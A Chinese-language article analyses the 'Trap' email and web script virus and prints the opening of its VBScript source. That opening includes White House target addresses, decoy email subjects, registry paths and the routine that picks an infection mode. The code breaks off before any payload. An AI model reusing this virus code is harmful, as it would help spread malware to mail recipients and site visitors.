7月初在我国出现了一种名叫“陷阱”(Trap)的新型恶性病毒,并在7月5日全面爆发,目前国内已有不少的网站和用户遭受“陷阱”的袭击,造成网络系统瘫痪、文件丟失现象严重。该病毒是一种网络脚本语言病毒,并是同时使用了VBScript 和 JavaScript 两种脚本语言编写的,通过OutLook电子邮件传播(不打开邮件也能被感染)、感染文件传播,传播能力较强,并能直接攻击Microsoft IIS 服务器 主页文件,造成网站感染,被病毒感染的网站如有用户来访问时,同时被感染。从病毒的攻击对象来看,“陷阱”很可能是“国产”病毒,但据了解该病毒其实在6月份就首先在韩国出现。 本人非常不幸也遭遇“陷阱”的袭击,造成7月5日计算机蓝屏,于是我研究了“陷阱”的源代码,经过一番努力终于揭清了代码原理,下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) ’白宫相关人员邮件名单
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主題
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:/Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE/SoftWare/Microsoft/Windows/"
HCUW = "HKEY_CURRENT_USER/Software/Microsoft/WAB/"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路径
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
if getErr then '辨认病毒状态
Randomize '初始化隨机种子
ra = int(rnd() * 7) '产生隨机数
doucment.write title(ra) ' 写隨机内容
ExecuteMail '执行邮件状态时的程序
else
ExecutePage '执行 WEB 页状态时的程序
end if
else
ExecuteVbs '执行 VBS 文件状态时的程序
end if
end sub
Function getErr() 忽略错误
if Err.number<>0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() '